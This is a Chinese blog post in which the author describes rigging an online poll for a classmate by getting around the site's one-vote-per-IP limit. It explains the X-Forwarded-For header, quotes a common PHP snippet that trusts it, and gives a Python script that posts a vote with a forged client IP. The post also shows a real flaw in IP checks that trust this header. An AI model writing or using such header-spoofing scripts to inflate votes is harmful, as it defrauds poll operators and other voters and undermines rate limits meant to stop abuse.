背景

应同学的要求,帮忙刷票。我上去看了一下,对方网站做了IP限制,一天之内一个IP只能投一票,并没有使用cookie校验,验证码校验等技术,总体来说这个网站的情况是比较常见的,常见的解决办法有两个:

使用大量的真实IP刷票

如果你使用的是一个拨号上网的网络,每次的拨号都能随机分配IP,这种情况下,可以使用投票一次,拨号一次的方法来实现刷票,但这个方案有两个问题:
1. 编程稍微复杂,而且运行效率低。由于涉及到拨号上网的编程,以及断开网络链接到重新拨号上网是需要相对很长的时间的,因此编程复杂而且效率不高。
2. 由于每个ISP的IP分配池都是有限的,当你所在的IP池容量较小时,你能够分配的IP也是很少的,因此可能无法大量刷票,这个也是潜在的风险。

伪造IP刷票

如何做到伪造IP是个难题。TCP/IP层级别的伪造,我是不会的(至少目前如此)。因此只能想着在应用层伪造了。上网查了一下资料,发现通过使用HTTP的X-Forwarded-For头可以成功欺骗多数应用程序。

认识X-Forwarded-For

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。 Squid 缓存代理服务器的开发人员最早引入了这一HTTP头字段,并由IETF在Forwarded-For HTTP头字段标准化草案中正式提出。
这一HTTP头一般格式如下:

X-Forwarded-For: client1, proxy1, proxy2

其中的值通过一个 逗号+空格 把多个IP地址区分开, 最左边(client1)是最原始客户端的IP地址, 代理服务器每成功收到一个请求,就把请求来源IP地址添加到右边。 在上面这个例子中,这个请求成功通过了三台代理服务器:proxy1, proxy2 及 proxy3。


关于X-Forwarded-For的详细资料,可以参考wiki

应用程序为何会上当受骗

很多知名的大型的PHP软件中都使用了类似下面的代码:

        if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) { $onlineip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) { $onlineip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) { $onlineip = getenv('REMOTE_ADDR'); } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) { $onlineip = $_SERVER['REMOTE_ADDR']; } 

这段代码充分考虑了php兼容性/平台兼容性/中间代理等诸多情况,不愧是大家之作。一般的程序员比如我,就不知道这里的getenv('HTTP_X_FORWARDED_FOR')这个是什么意思,虽然现在知道了,但是突然觉得这段代码还是有问题的,这里的getenv('HTTP_X_FORWARDED_FOR')只能正确的处理单个中间HTTP代理的情况,当多个代理出现时,这个获得的IP将是一个多个IP组成的字符串(IP之间有逗号分隔开)。

这段代码优先考虑了有代理情况下,如何获取真实IP的情况,本身思考的非常周全,但是由于HTTP_X_FORWARDED_FOR的头伪造起来很容易,所以伪造IP起来也就容易多了,以下是一个Python的示例,用于显示如何利用HTTP_X_FORWARDED_FOR伪造IP:

        import sys, httplib, urllib, random params = "value=xxx" ipAddress = "10.0.0.1" headers = { "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Encoding":"gzip, deflate", "Accept-Language":"zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3", "Connection":"keep-alive", "X-Forwarded-For":ipAddress, "Content-Length":"31", "Content-Type":"application/x-www-form-urlencoded", "User-Agent":"Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0" } con2 = httplib.HTTPConnection("10.0.0.2") try: con2.request("POST", "/xxx.php", params, headers) except Exception, e: print e sys.exit(1) r2 = con2.getresponse() print r2.read() 

这个请求在应用程序中获得的IP将会是上面ipAddress变量的值,因此伪造IP成功!